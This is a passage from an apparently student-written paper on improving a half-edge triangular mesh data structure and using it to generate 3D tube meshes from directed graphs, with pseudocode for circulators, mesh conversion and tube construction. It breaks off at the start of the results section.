the current data structure being used does not support this, and while not necessary for many applications, can be useful in certain instances. Finally the most important aspect of improvement of the data structure is the inclusion of a hash table of unlinked half-edges. The key of this hash table is the connected vertices, allowing for $O(1)$ time access to a half edge provided it currently has no opposite. This will allow for reduced computational time for many of the algorithms necessary for completion of the process. These three aspects are the driving force of this paper, which proposes changes to be made to the current implementation and the current data structure that will address those areas, as well as improve upon other minor issues. As stated computational power is a limitation on this system that needs to be addressed, especially computational time as it relates to this application. One point of emphasis was that the new implementation needed to complete the process more quickly and efficiently without sacrificing flexibility or usability. The proposed changes to the current method should improve flexibility of the application, reduce the time that is required for the current process and finally to allow for an application that is modifiable to the needs of the user. This paper will first address the motivation of mesh generation and its applications, focusing on the impact that can be had from 3D tube mesh generation. These motivations include medical imaging and model reconstruction, virtual environments and procedural level generation, and finite element analysis as it pertains to mesh simulation. Following will be a literature review and overview of current triangular meshes, particularly the data structures being used, and the methods by which one can evaluate the efficacy of an implementation of the half-edge data structure. Chapter IV will contain a discussion of the various improvements and modifications that will be made to the current data structure, as well as make note of why these improvements are valuable. This chapter will discuss the implementation of the hash table mentioned previously, the method by which non-orientable surfaces are supported, and some of the minor improvements made to usability and flexibility of the data structure implementation. Chapter V will discuss the algorithm that is being used in the application giving more detail into how the mesh is generated and the current techniques being employed to improve upon the quality of the meshes. The generation of the tube mesh has two major parts that will be discussed, that is the creation of a branch and of a node. In the next chapter, results of the improvements will be discussed; in this section certain time and complexity improvements will be introduced, and the data structure will be evaluated using standard criteria. Finally the paper will go into recommendations for future work of this project, including continued look into special cases for the application, and texture assignment for improved visualization. II. 3D Modeling Applications and Representations 3D modeling is the field of representing 3D solids using mathematical models. Specifically it is a collection of 2D or 3D objects in a 3D space that are connected using various data structures. Typically the models represent a real-world object, but this does not have to be the case. Representing real-world objects allows for one to perform analysis, simulations, and many other applications on the object. Using objects that are not from the real-world, allows for one to represent virtual and constructed environments that can be used in games, movies, television, and many other areas of entertainment. 3D modeling has a number of specific applications that will be discussed. Current 3D modeling techniques are being used in the medical field to represent any number of biological parts. One can also develop levels procedurally using computational 3D modeling. Finally 3D modeling allows for one to perform physics simulations on the 3D models. Currently there are two main techniques to represent a 3D solid; these are boundary representation and constructive solid geometry (CSG). CSG is a referred to as “intelligent geometry” (Leadwerks, 2006), it uses a number of simple solids in conjunction with Boolean operations to form a complex solid. These simple solids are convex objects, meaning that there are created using only intersecting coplanar faces. There are three Boolean operations that are used to allow for this technique to have full representation, they are the intersection, union, and set difference. These two aspects allow for complex solids to be created. The other technique is that of boundary representation; boundary representation is “more explicit” (Marshall, 1997) than CSG and stores information about the solids faces, edges, and vertices in order to completely represent the solid. The benefits of this method are that surface information is more readily available; it allows for much simpler representation, it is effectively a combination of faces rather than a combination of solids. Additionally the information of neighboring vertices, faces, or edges are readily available. Finally boundary representation is useful for determining local normal at each vertex, and quickly transforming into a format usable by current graphics cards. One method of boundary representation is the half-edge data structure; the half-edge data structure stores information mainly about the faces, vertices, and edges of a solid; however it mainly uses the half-edge information for traversal of the solid. Adjoining faces are shown as adjoining using a combination of linked half-edges, for each pair of half-edges the faces that they belong to are also now adjoining. This paper and application will be focused on boundary edge representation, specifically the half-edge data structure. A. Medical Tube Structures One primary application of 3D modeling is the representation of important medical images. Currently medical imaging consists of taking a series of 2D images at various depths so that a medical professional can examine them for research, diagnosis, or other clinical reasons. These images can be used to recreate a 3D representation of the volume being imaged. The purpose of this procedure is to allow the examiner to have a better model to study, one that can be examined as a 3D model. Various biological objects can be represented a series of interconnected tubes, the nervous system, the cardiovascular system, even the skeletal system is a series of bones each of which is effectively a simple tube connected by tendons. It would be of value to have a way to analyze these tube systems. The proposed application will allow for that. Given a directed graph that can be taken from the medical images, this application can create a triangular model that approximates the biological object. Once this model is generated, one can perform simulations, programmatically classify the model based on previous data, or compare the model to a previous model to detect changes and anomalies. Another problem with medical data is that it is so large; one medical doctor estimated the amount of data to be as high as 150 exabytes (Hughes, 2011), this is because each medical 3D model is hundreds of images stored together. This makes storage costly and causes medical data transfer to be a big endeavor. Storing data as a directed graph would reduce the size of a file by as many as four orders of magnitude. Further, a program that could quickly represent that directed graph as tube structure would allow for medical data to be transferred along with the program significantly reducing the amount of data to be transferred. **B. Procedurally Generated Levels** Another application of 3D modeling is the ability to create and generate levels procedurally using either predefined data along with an algorithm, or allowing for random variation to create unique levels for each user and upon each use. The current predominant method of creating a level in a video game is to have a team create every aspect of a level. One person may create a skeleton of the level, meaning they develop the basic structure of the level, and then a second member will be responsible for texturing and adding detail to the level. This means that every level takes a significant amount of time to create, as well as a significant investment. The second part of this method could be replaced by an intelligent algorithm capable of creating realistic levels from a skeleton; this is one of the possible applications of 3D modeling. The proposed application will be able to take a skeleton, in this case a directed 3D graph, and procedurally create any tube-like structure. For example a complex cave system could be created by setting up the skeleton of a tunnel system and applying the algorithm presented in chapter V to create the next step in development of the mesh, the high-level detail. The benefit of this algorithm is that it attempts to mimic how the tube system would come together in nature. The benefits of creating the geometry procedurally are more than just the ability to rapidly develop these structures. The other benefits arise from being able to store these structures in a much compressed form, i.e. the original directed graph. After applying the initial tube creation algorithm, the structure must be subdivided a number of times in order to give it the natural appearance, this subdivision process is computationally intensive, this means that the data structure must be efficient so that the subdivision algorithm can run in an appropriate timeframe. This is one of the goals of the paper, to implement this efficient data structure that will allow for the subdivision to be efficient. There are two other results that arise from the application of subdivision: first the intermediate steps can act as a simplified mesh for collision detection. Mesh collision detection works by the following algorithm (algorithm “ALGO 1”). ```plaintext foreach (Polygon p1 in mesh.polygons) { foreach (Polygon p2 in mesh.polygons) { if (p1 == p2) continue; if (p1.intersects(p2)) { //collision detected } } } ``` Algorithm 1 Collision Detection This shows that collision detection is on the order of \( n^2 \), thus very inefficient, a simplified mesh allows for collision detection to be done on a mesh with very few polygons to same time without being noticeable to the user. The second result of the subdivision is that it adds not just more detail, but the ability to randomly generate detail. Some structures like blood vessels are typically smooth, but there are tube structures that have detail in them, this detail can be modeled as noise in the mesh, resulting in detail that does not need to be introduced by the designer. **C. Physics Simulations** A great deal of research is done through the use of simulation of dynamical systems, this is because it is much too difficult to recreate many systems and conditions or it is done to forecast potential outcomes based on future occurrences. Forecasting requires extremely accurate models and data which can be provided for through the use of 3D mesh generation. Currently physics simulations on physical objects are done using either rigid body or soft body dynamics, and the interactions are performed on primitives such as triangles, cubes, spheres, etc. These simulations still can take a great deal of time and computing power which is why it becomes important to have efficient mesh data structures. The process of simulating interactions on a group of discrete primitives is called finite element analysis (FEA). FEA involves applying forces, torques, or heat on a system of discrete objects. Then each of those objects acts upon its local neighbors to determine what was the effect on itself (this could be change in position, velocity, acceleration, temperature, rotation, or any physical property). This is done iteratively to each element in the mesh, calculating the stimuli on itself at that time increment and imparting stimuli on its neighbors for the next time increment. Typically FEA then warrants some analysis, for example an FEA on an engine will result in many stresses, strains, and temperatures, at each stage an analysis should be performed to determine if the part will fail at that point. FEA is used in nearly every high order simulation, but requires a detailed mesh for the analysis. Currently the mesh can be developed using an artist, a 3D scanner, or a software package such as AutoCAD to create the model from drawings. In the event of large structures such as caves, sewers, or transit tunnels this can be very difficult to achieve. The same is true for small systems that cannot be scanned such as the nervous or cardiovascular system. III. Overview of Triangular meshes A mesh is a set of polygons that are linked by common edges and vertices; which together form a 3D model specifically a polyhedral object. For the sake of simplicity each polygon is convex to simplify various operations. Meshes are used for representation to reduce processing time. Individual polygons require processing to be done on each vertex on each polygon, but linking these polygons together allows for processing to be done on many vertices that represent the same point at the same time. There are many types of meshes that can be used in the representation of a 3D model; one can use a triangular only mesh, a mesh that uses quadrilaterals along with triangles, or any other combination of polygons. However, the triangular mesh is the most commonly used mesh. A triangular mesh is a polygonal mesh that uses only triangles to represent the surface. The reasoning for using triangular meshes is that any model or object can be broken down into a set of triangles, but the same cannot be said for quadrilaterals and other higher degree polygons. The reason that every model can be decomposed into a set of triangles is the fact that every polygon can be broken down into triangles; however triangles cannot be broken down into anything but other triangles without adding additional vertices and increasing computational time. Further the triangle is always guaranteed to exist on a single plane allowing for all calculations for shading, texture mapping, etc. to be done using only linear interpolation between the three points on the triangle. One should note that while the data structure can force the higher degree polygons to be on a single plane, in the event of mesh modification resulting in vertex movement, this restriction may be violated unless checked after every operation; this can result in significantly more operations. Figure 1 (Kajak, 2011) shows a polygon that has been reduced to a set of triangles using the ear clipping method. Algorithm 2 (Kajak, 2011) shows the procedural method by which the polygon can be reduced into a set of triangles. The algorithm will only reduce the polygon into a list of triangles; a more advanced algorithm is used to maintain a mesh structure. This algorithm is given to explain a simple method of triangular reduction. List<Triangle> ear_clipping(Polygon p) { List<Triangle> T; while (P.vertices > 3) { foreach (Vertex v in P.vertices) { //test to see if the polygon excluding v contains v if (!InNewPolygon(v, P)) { T.add(new Triangle(v, v.next, v.prev)); link(v.next, v.prev); //remove vertex v from polygon p break; } } } T.add(new triangle(P[0], P[0].Next, P[0].Prev)); return T; } Algorithm 2 Ear Clipping A. Triangular Mesh Data Structures A triangular mesh data structure stores more information that just a list of triangles. The data structure also stores information about links among adjacent triangles and the method by which this is done classifies the type of data structure that is being used. This extra information must be stored in order to allow for various operations to be performed on the mesh, and so that information about the mesh can be quickly accessed in linear or constant time. There are many triangular mesh data structures that are currently being employed. The most commonly used data structures are the face-vertex, winged-edge, and half-edge. The face-vertex data structure is the simplest of the data structures and is typically used by graphics processors because the processor does not need information about linked edges or linked faces. The face-vertex data structure is simply a list of triangles containing a pointer to the three vertices that make up the triangle. This data structure requires 3 pointers per face. The winged-edge data structure is an edge based data structure meaning that the links between edges are explicitly defined and the links between vertices are implicitly defined. In the winged-edge data structure each edge points to its head and tail vertices, the two incident faces, and the four edges that are connected to each of its vertices. Figure 2 shows the representation of the winged- edge data structure. (Zorin, 2004) The winged-edge data structure requires eight pointers per edge and one pointer per face and vertex. Though more information can be stored to allow for faster access times, it is unnecessary because the other information is represented implicitly. The half-edge data structure is one of the more powerful data structures and will be the one used for the purpose of this paper. It is a variant of the winged-edge data structure and it implemented by splitting up each edge into two and relying on half-edge traversal for many of the operations. The benefit of the half-edge data structure is that it allows for a consistent orientation among the triangles. The other benefit of the half-edge data structure is that there the traversals can be done without branching, which can lead to reduced traversal time. In the next chapter this paper will go into more detail about the half-edge data structure. **B. Half Edge Data Structure** The half-edge data structure is based on the winged-edge data structure, meaning that it is also an edge-based data structure. This also means that it is very similar to the wing-edged data structure in its representation; each edge stores a reference to its opposite (some data structures take advantage of spatial locality and assume that if ‘i’ is the index of one half-edge, its opposite is ‘i+i\%2’), the two half-edges connected to itself, the two vertices that it touches, and the face that it helps make up. Each vertex stores a reference to a single half-edge that points to the vertex; for ease of circulation if there is an incident half-edge that is a boundary edge that half-edge is used. Finally each face stores any half-edge that borders it. Every other necessary access is done in constant time, and traversals done in linear time. Figure 3 (Zorin, 2004) shows the abstract representation of the half-edge data structure, including all the references each edge has. Not all of these references are necessary and can be represented implicitly; for example the tail vertex does not need to be explicitly represented. It can be accessed using `e.opposite.head`; one can make use of these implicit representations to for the half-edge data structure in the same amount of memory as the winged-edge data structure. ![Figure 3 Half-Edge data structure](image) The half-edge data structure relies on the fact that each edge is bounded by exactly two faces and this allows the edge to be separated into two half-edges that are oriented in opposite direction. As stated this allows for a consistent orientation of the triangles, either clockwise or counter clockwise. The consistent orientation is beneficial in that for orientable surfaces it lets us know immediately which side is the visible side, and it causes the normal to always be oriented outward, given that the correct coordinate system is being used. The reason that the half-edge data structure has a consistent orientation is shown in figure 4 in which both triangles are oriented in a clockwise direction. As can be seen from the figure, when both triangles are oriented in the same direction, the adjacent half-edges are in opposite direction. ![Figure 4 Triangular Orientation](image) It was also noted that the traversal algorithms no longer require a conditional to determine in which direction the circulator must go. The circulator always knows which way to go because each triangle has the same orientation as the last; so circulation can be performed according to algorithms 3 and 4. ``` List<Face> adjacent_faces(Vertex v) { List<Face> F; HalfEdge e = v.halfedge; //e must point to v do { F.add(e.face); e = e.next.opposite; } while (e != v.halfedge) return F; } ``` Algorithm 3 Adjacent Face Circulator ``` List<Vertex> neighbor_vertices(Vertex v) { List<Vertex> V; HalfEdge e = v.halfedge; //e must point to v do { V.add(e.tail); e = e.next.opposite; } while (e != v.halfedge) return V; } ``` Algorithm 4 Neighboring Vertex Circulator The half-edge data structure contains a number of classes that are necessary to perform all necessary accesses, and calculations. The typical half-edge data structure has the following list of classes. - **Mesh**: The main class that contains all other classes, has a list of half-edges, vertices, and if they contain pertinent data, a list of faces. - **Face**: Has a reference to a general half-edge, and any pertinent data (e.g. color, normal, mass). - **Vertex:** Has a reference to a half-edge that points to the vertex, and any pertinent data (e.g. color, location, normal). - **Half-Edge:** Contains the references stated earlier in the paper. This is the most important class, and is used the most. **C. Metrics of Half Edge Data Structure** There are five metrics of a half-edge data structure that should be considered during implementation (Kobbelt). They are access, modification, operations, parameterization, and I/O. In this chapter each metric will be discussed and detailed and will make note of how the two major libraries currently perform in these metrics. Later in chapter VI this paper will discuss how well the proposed implementation performs per these metrics, and specifically what is being done to address each metric. The first metric is access, meaning how quickly the program can access the vertices, edges, and faces. One should also measure how convenient it is to circulate through neighboring vertices, incident faces, and determine boundary edges of a face. Both libraries perform similarly in this respect; they each have iterators and handles that are used in for loops to access each element. This implementation provides for an easy to use interface for enumeration. They also provide a circulator that does traversal without the need for knowledge of the traversal algorithms. While the circulators and iterators can be easy to use, the move to C# and its enumerators allow for a more abstracted implementation. The next metric is modification; ideally a mesh should be modifiable by the user without much trouble. One should be able to add or remove vertices and faces quickly without compromising the integrity of the structure. Any implementation must take this into account. Both libraries have methods to add and remove faces and vertices without ruining the mesh. These libraries are sufficient at this job, so there is no need to improve upon this metric; it just needs to be at least as efficient in this endeavor. The half-edge data structure has certain operations that need to be performed for reasons such as analysis, simulation, or simplification. This means that the implementation should provide methods for completing these operations efficiently. Examples of these operations include ‘half-edge collapse’ for simplification, face/edge splits for subdivision, or specific to this application a method to create a convex hull around a set of points. These operations are provided for by the current libraries, but given the special cases of the application it may be possible to increase efficiency of the calculations. An important consideration in our application is parameterization which allows for the user to add or remove information from the various objects in the data structure. Ideally faces and vertices should allow for data to be added and removed at runtime. This data should not be limited to a single type though; it should allow for a reference to any object to be placed as a property of the face or vertex. Both libraries have implementations that are general and efficient in their own right, but may be more robust than is necessary for the application. Finally this structure should be easily converted to and from standard file formats. One file format that is used is the .off file format, which stores the data in a way similar to the face-vertex structure mentioned previously. It is a list of vertices containing their information, and a list of faces that contains its own information as well as indices corresponding to the vertices that make up that face. This is the file type that will be used for the purposes of this paper. The current libraries do again succeed in the metric, they both are able to export the data and import the data correctly. Thus the improvements will have to be due to an improvement in the time required for conversions. IV. Half Edge Data Structure Improvements The current implementation of the half-edge data structure has various areas that can be improved upon such as the method linking of the half-edges or the lack of support for non-orientable surfaces. There is also an absence of important methods for simplification, manipulation, and access. This chapter will discuss how each of the areas is addressed and improved upon. A. Hash Table for Unlinked Half Edges Currently when a face is added its opposite is found by iterating through every previous half-edge and checking for the correct opposite. As a result the time complexity of face insertion is linear. However this can be reduced to constant time by using a hash table to store each unlinked half-edge. A hash table is an array of objects whose position is based on the hashing value of the key. This allows for constant time lookup of an object if the key is known. The key value of each object in this hash table is an ordered pair of integers which corresponds to the ids of the head and tail vertices of the half-edge respectively. It should be noted here that any half-edges opposite half-edge will have its head and tail vertex reversed; this means that to find the opposite half-edge of a given half-edge the key is simply the ordered pair of ids of the tail and head vertices respectively. 1. **Subdivision** Subdivision is the recursive process of smoothing a given mesh. This is typically done by splitting a face into some number of newer triangles and adding some number of vertices. The location of the new vertices is determined using either an approximating or interpolating method. This method may also move the already existing vertices based on the locations of its neighbors. The current application uses loop subdivision which splits each face into four new faces, and each half-edge into two new half-edges. This subdivision scheme results in each half-edge being unlinked during the process; the old method would ignore the half-edge opposite links until the end of the subdivision process then go through each half-edge and search for its opposite. This would cause the subdivision process to run in quadratic time complexity. The addition of the hash table reduces the time complexity to quadratic, but it introduces a new problem into the data structure. In some cases the hash table may grow to be very large, eliminating the constant time lookup of the hash table. This problem is mitigated by searching for half-edge links after each face is subdivided. An alternative method of linking is also available that does not use the hash table for finding opposite half-edges, it makes use of the fact that each edge is initially comprised of 2 half-edges and then is split into 4 half-edges allowing for linking to be done as soon as both adjacent faces are subdivided. Figure 5 below shows how this is done. In figure 5 the red arrows represent the already existing half-edges; the blue arrows represent the half-edges that are ‘children’ of existing half-edges, and the green arrow represent completely new half-edges. In each original triangle the ‘next’ and ‘previous’ half-edge reference as well as the ‘opposite’ half-edge reference for the internal half-edges (green) are set immediately following subdivision. Assume that the top triangle is subdivided first then the bottom triangle, all of the ‘next’, ‘previous’, and internal ‘opposite’ half-edge references of the top triangle will be set, then the ‘next’, ‘previous’, and internal ‘opposite’ half-edge references of the bottom triangle will be set. At this point all original (red) and child (blue) half-edges do not have references to their opposites, instead each original (red) half-edge has a reference to their child’s (blue) opposite. From this we can check each of the three bounding faces to determine if they have already been subdivided, in this example only the two shown triangles have been subdivided so only one set of four half-edges are ready to be paired, Table 1 shows the how to access each of the four half-edges and its pair, assuming the original is called e. ### Table 1 Post-Subdivision Half-Edge Links <table> <thead> <tr> <th>Half-edge 1</th> <th>Half-edge 2</th> </tr> </thead> <tbody> <tr> <td>e</td> <td>e.opposite.child</td> </tr> <tr> <td>e.child</td> <td>e.opposite</td> </tr> <tr> <td>e.opposite</td> <td>e.child</td> </tr> <tr> <td>e.opposite.child</td> <td>e</td> </tr> </tbody> </table> 2. **Mesh Conversion** It is necessary to convert the half-edge data structure to and from the face-vertex structure for storage in an off file, or to transfer the mesh to the graphics processor. It is therefore an efficient method of conversion is required. The conversion consists of first placing the vertices into the mesh, then adding the faces one by one to the mesh. Using a linear time approach for adding faces to the mesh would result in a quadratic time complexity of the mesh conversion. However, this hash table allows for face insertion to run in constant time which in turn allows for the mesh conversion to run in linear time, a significant improvement over the alternative. Algorithm 5 shows the pseudo-code for improved mesh conversion. for each face f to be added create internal halfedges of f and link them for each internal halfedge e key := (e.tail.id, e.head.id) if the key is in the hash table e.opposite := hash_table[key] else key := (e.head.id, e.tail.id) value:= e add the key-value pair to the hash table end end end Algorithm 5 Improved Mesh Conversion 3. Boundary Tracing The hash table at any time keeps track of all unlinked half-edges in the mesh and each of these half-edges is a boundary edge of the surface. This means that enumerating the boundary edges can be done very easily without searching through every half-edge. Additionally testing to see if the surface is fully closed is easily done by testing for the number of elements in the hash table. Using the unlinked half-edge hash table in conjunction with the circulator allows for any hole in the object to be found in linear time (proportional to the number of half-edges that border the hole). This combined with the linear time enumeration of boundary edges means that the boundary tracing time can be reduced by a factor equal to the ratio of boundary edges to non-boundary edges. B. Inclusion of non-orientable surfaces A non-orientable surface is one in which the two sides of the surface are indistinguishable from each other, for example the Mobius strip. What this means is that for a non-orientable surface mesh it is valid to say either side of any primitive is the outside or visible side. This raises a problem for the half-edge data structure because each primitive’s half-edges are oriented in a counter clockwise direction, but in the case of a non-orientable surface a clockwise orientation is also valid. This can be avoided by not culling either face (counter clockwise or clockwise) but there is still a problem with the linking of the half-edges. Consider figure 6, a modification of figure 4, which has two adjacent triangles, one oriented counterclockwise, one clockwise. The two adjoining half-edges are in the same direction which results in an invalid half-edge data structure. It is for this reason that half-edge data structures do no support non-orientable surfaces. By removing this restriction, and implementing the algorithms discussed in the following sections, this problem can be eliminated. C. Mesh Manipulation and Simplification A simplified mesh has many benefits, in particular it allows for faster collision detection, less memory expense, and faster analysis. There are two ways to simplify the mesh, the first is to use the mesh before subdivision or processing, but in some cases the mesh does not have the desired visual quality or it contains redundant vertices, half-edges, or faces. The second option is to apply the methods described below to the mesh after subdivision so that it is simplified yet maintains its shape, and smoothness. The new half-edge data structure now allows more a great deal more in the way of mesh manipulation. This application requires the ability to dynamically add and remove faces and vertices to the mesh. The previous implementation was not capable of these dynamic removals, and the dynamic addition of a face was much too slow. As mentioned previously, the time complexity of adding a face to the mesh is constant where it was previously linear. This was accomplished using the hash table for unlinked half-edges. In addition to improving the time to add a face to the mesh the new implementation allows for a face to be removed from the mesh. During the creation of the branch structures it becomes necessary to remove a number of faces from the mesh thus a reliable method to remove faces and maintain a valid half-edge data structure was needed. Face removal is done by releasing the half-edges opposite of each half-edge in the face back to the unlinked hash table. Then, if necessary, a new half-edge is chosen for the vertices on the face. The new implementation also includes methods to remove vertices from the mesh, though currently it simply removes the faces incident upon that vertex. It is also valuable to collapse faces or half-edges in order to simplify the mesh. A half-edge collapse is shown in figure 7 (Widas, 1997) and involves merging the two vertices that make up the edge. This operation results in two degenerate triangles that are removed from the mesh, there are also two new vertices at the same position meaning one can be removed. Finally six half-edges can be removed from the mesh. The half-edge collapse is valuable when the two vertices provide very little information more than a single vertex would. Another reason to collapse a half-edge is if it is very short in comparison to the rest of the object. A second valuable method that was implemented is the face collapse method; a face collapse is related to the half-edge collapse because it collapses all three edges of a triangle to the centroid of that triangle. The face collapse results in 4 degenerate triangles (3 lines and 1 point) allowing them to be removed from the object. The face collapse also results in removal of two vertices and 12 half-edges. D. Circulator There are many calculations that are based upon all incident faces or neighboring vertices (e.g. the vertex normal) and it is necessary to enumerate each of these faces or vertices. A circulator is an interface that allows for this, given a vertex it can find the incident faces or neighboring vertices in linear time. It makes use of algorithms 3 and 4 and abstracts them to an easy to use interface. In the C# language there is a construct called the enumerator which allows for iteration using the ‘foreach’ loop. The enumerator interface is used to simplify iteration over a set of objects, in this case faces or vertices, using the following syntax. ``` foreach (Vertex v in Mesh.Vertices) { // do something to each vertex } ``` The new data structure implements these enumerators for both the incident faces, and the neighboring vertices. This improves the usability of the data structure as well as the readability because it more closely resembles human speech than the typical for loop. Additionally it abstracts the initialization and iteration away from the user preventing errors from arising in the case that the initialization or iteration is performed incorrectly. As mentioned the new data structure is capable of handling non-orientable surfaces. To accommodate these surfaces, a modification had to be made to the circulators; these modifications can be seen in algorithms 5 and 6. Each circulator works under a similar structure to the winged-edge circulators; specifically the modified circulators use the vertex they are circulating about to determine which direction to go next, rather than always going counter clockwise as they previously did. ``` List<Face> adjacent_faces(Vertex v) { List<Face> F; HalfEdge e = v.halfedge; // e must point to v do { F.add(e.face); if (e.head == v) e = e.next.opposite; else e = e.prev.opposite; } while (e != v.halfedge) return F; } ``` Algorithm 6 Improved Adjacent Face Circulator List<Vertex> neighbor_vertices(Vertex v) { List<Vertex> V; HalfEdge e = v.halfedge; // e must point to v do { V.add(e.tail); if (e.head == v) e = e.next.opposite; else e = e.prev.opposite; } while (e != v.halfedge) return V; } Algorithm 7 Improved Neighboring Vertex Circulator V. 3D Tube Networks Mesh Generation A graph is a set of vertices, some of which are connected in pairs, these connections are called edges. A directed graph is a special type of graph in which the pairs of connected points are ordered. The purpose of this application is to start with a directed graph and, through the algorithm that follows, build a 3D tube mesh that is representative of that directed graph. This is a multistep process that will be discussed throughout this chapter. This chapter will also discuss in detail the implementation of the algorithm, and how the data structure is used to allow for the creation of the tube mesh. A. Algorithm The creation of a tube mesh starts first with a conversion from the directed graph into a new structure called a ‘tube’ each tube consists of branches, nodes, and the directed connections between them. The tube construct is very similar to that of a directed graph, the main differences being that vertices of degree 3 or higher are considered branches (the rest being nodes) and no two branches can connect; instead they must have a node placed between them. The algorithm to do this was provided prior to the project and as such this paper will not cover it in depth. However, it is important to know that each branch has in-nodes and out-nodes much like a directed graph. Algorithm 7 below shows the process by which this tube construct is converted into a tube mesh. ``` mesh convert_tube(tube) foreach (Branch b in branches) convert_branch(b); foreach (Branch b in branches) foreach (Node n in b.out_nodes) convert_node_path(n); foreach (Node n in nodes) if (n is not converted and n has no in node) convert_node_path(n); foreach (Node n in nodes) if (n is not converted) convert_node_path(n); convert_node_path(n) convert_node(n); if (n has no out node) return; if (n’s out node has been converted) return; n2 := n’s out node; convert_node_path(n2); ``` Algorithm 8 Tube Conversion Once the tube construct is created, the mesh conversion process takes place. First, since no two branches connect each one of them can be converted individually with no interaction; this is step 1 in figure 8 and the exact process will be detailed in the next subsection. Once each branch has been created the paths must now be constructed between each branch. Recall that each branch has both in-nodes and out-nodes, only the paths beginning with out-nodes need to be converted, this is because the in-nodes will either be the end of a path between branches, or will be handled at a later stage. Each path is created by recursively converting nodes along the direction of flow in the tube until a destination branch is reached. In figure 8, the first node to be converted would be node 2 because it is the first out node of the first branch node. Next the algorithm would convert the node path beginning with node 3 (step 3A). Since it is not the end of a path the path conversion method will recursively convert the path beginning at node 4 (step 3B). At this point the path has been fully converted, and the algorithm moves onto step 4, the conversion of the final out-node. This process will continue until each out-node and its path have been converted, more detail on how each node is converted will be given in a later subsection. At this point each out-node has been converted, and all that is left are the special cases where the flow starts at a node (i.e. a node with no in-node) and the nodes that are not connected to any branches. This is step 5 in the example provided by figure 8. Node 1 will be converted and the process will continue as described in algorithm 6. Now that each node connected to a branch has been converted the nodes which are disconnected from the branches are converted. This process is similar to step 5 in figure 8, a node with no in-node is converted and it simply reverts back to the path conversion portion of algorithm 6. Finally we have the special case in which there is a ring of nodes, meaning each node has an in-node. If this case occurs any node in the ring is chosen and converted, then the nodes are converted in order around the ring. 1. **Create Branch** The most important part of the process is the creation of the branch meshes; this not only takes the most time, but allows for the greatest variation in quality of the There are six major steps in this process which can be seen in algorithm 7. ``` mesh convert_branch(b) Shpere s foreach (Node n in neighbors) c = Create_Cross_Section(n) Project_Cross_Section(c, s) Create_Convex_Hull(s) Remove_Faces(s) foreach (Node n in neighbors) Create_Extrusion(n, s) return s.mesh Manipulate_Sphere(s) ``` Algorithm 9 Branch Conversion The first step is to create a cross-section for each node, this can be of any shape and will be representative of the node that neighbors the branch. This node is then projected onto a sphere of sufficient size so that there can be no overlap of vertices among cross sections. Next a convex hull is created containing each of the vertices, the resulting mesh contains each of the original cross-section projections that were created in step 2. This must be ensured so that each of these projections can be removed in step 4 which will allow for the extrusions to be created in step 5, these extrusions represent the links between each node and the current branch node. The final step is to manipulate the sphere so that it becomes small enough to not envelop the extrusions but large enough to maintain consistency. This is where much of the variability comes from, the amount and method to manipulate the branch is what allows for many different results from the same algorithm. The method that is used in this implementation is unchanged from the previous application, but should be examined in the future. 2. Create Node The final part of the algorithm is to create the node extrusions for every remaining node, this is done by connecting sequential nodes together using an extrusion similar to the extrusion created between each node and its branch. There are two steps that are involved in this process, the first is to create a cross section at each of the two consecutive nodes if one does not already exist, and the second is to actually create the extrusion. B. Implementation The visualization portion of this project is being done using XNA which is a free platform that makes it much easier to create games or graphical environments. For this project the XNA framework was placed into a control so that the program can have a menu system as well, this menu system allows for many things to be done using the half-edge data structure and mesh creation algorithm. The previous application used open-inventor for its menu system which will be replaced using window forms which would allow the application to be closed source if desired. Additionally since XNA is being used for the visualization only, the important parts of the application can be run without using any external libraries which satisfies one of the conditions this project had at its inception. 1. **Debugging** One useful addition to the application was a method for debugging visually using incremental construction of the mesh. The added method allowed for one to view the step by step process of a the creation of a single branch or to see the step by step process to create the overall structure, essentially one can step through either algorithm 8 or algorithm 7 to see if there are any errors during construction or to determine when the error occurs. This has proven very valuable during the initial implementation because it is much easier to determine if there are error visually rather than to analyze the mesh structure at each step. **C. Reduction of twisting** One problem that was encountered during development is that along certain paths, the tube structure would become twisted resulting in meshes that intersected in on themselves or looked like figure 9, in that they were now concave in some cases, when they should always be convex. This problem was solved using a technique called local alignment which attempted to rotate the vertices of each cross-section to have as close as possible orientation to the previous cross-section, this is done by rotating the cross-section about the axis created between the two an amount that minimizes the angle between two chosen vertices, there is a second technique called global alignment that would cause all cross-sections to have the same alignment, but that technique has not been implemented and should be considered a future possibility. D. Improved creation of two-branch pipes In some cases the path created between three nodes can have very poor mesh quality, this can be due to any number of reasons, but is usually attributable to a sharp bend between the three, this results in the cross-sectional area being reduced no nearly zero in some cases which would not happen in nature. To prevent this defect three alternative methods were investigated, the first method was to use an additional virtual node that was equidistant with maximum distance from the first two nodes, however for this node no extrusion was made. This had the effect of creating a three-branch with only two extrusions and resulted in a mesh with more consistency and natural appearance as shown in figure 10. Figure 10 Modified Two-Branch Method 1 A second method investigated was to use an additional cross section in the same location as the previous method, but for this method the cross-sections are manipulated using a different method. First instead of moving each vertex independently the vertex groups were moved together to maintain a square cross-section. Next the real branches that will soon have extrusions were moved inward the maximum possible amount without causing overlap. Finally the virtual cross section was moved to be a distance away from the actual cross-sections that at its shortest is equal to the radius of either the largest node, or the radius of the branch. An example can be seen in figure 11. The next attempt was directed toward making each branch node more spherical, and this was done by attempting to add more vertices to the convex hull creation. This method did little to solve the problem resulting from having too tight a bend in the path, but it did have a nice effect for some other structures, one such structure can be seen in figure 12 below. In order to determine the vertices that will be added to the hull a set of vertices that are approximately equally distributed was created, next each of those vertices was tested to see if it would cause a cross section to not be present in the convex hull. If this is the case the vertex was removed and the process carried out normally. The green vertices in figure 12 are the vertices that were added by this process. ![Figure 12 Adding additional points to the convex hull](image) **E. Convex Hull** One of the important steps of the creation of the 3D tube mesh is the convex hull algorithm, the convex hull algorithm accounts for a majority of the time for the entire process to complete, this is because a quadratic algorithm is being used because it allows for easy debugging. Additionally the small number of points for most cases means that it may be beneficial to continue using the incremental algorithm rather than introduce a divide and conquer algorithm that may have more overhead. It should be noted that the convex hull creation is actually a special case in that each point will be part of the final hull and each point already lies on a known sphere. This means that there may be a more efficient algorithm that applies only to this special case that can be used. VI. Results One of the major goals of this project was to decrease the time it takes for the steps involved in the creation of these tube structures. There are two applications that this new implementation will be compared against, the original implementation in C++, and the initial implementation in C#. The latter only being suitable to make comparisons in subdivision of surfaces, and general surface creation time due to the early nature of the implementation (at the time this project started the tube creation had not yet been implemented in the C# version). The first comparison will be that of the general surface creation time, this is the time to load in an off file and convert it to the half-edge data structure. The comparison will be made for four spheres having 64, 256, 1024, and 4096 vertices. Table 1 shows that with very few vertices the improvement is very little but as the number of vertices increases the time cost savings becomes extremely large. This is because the new 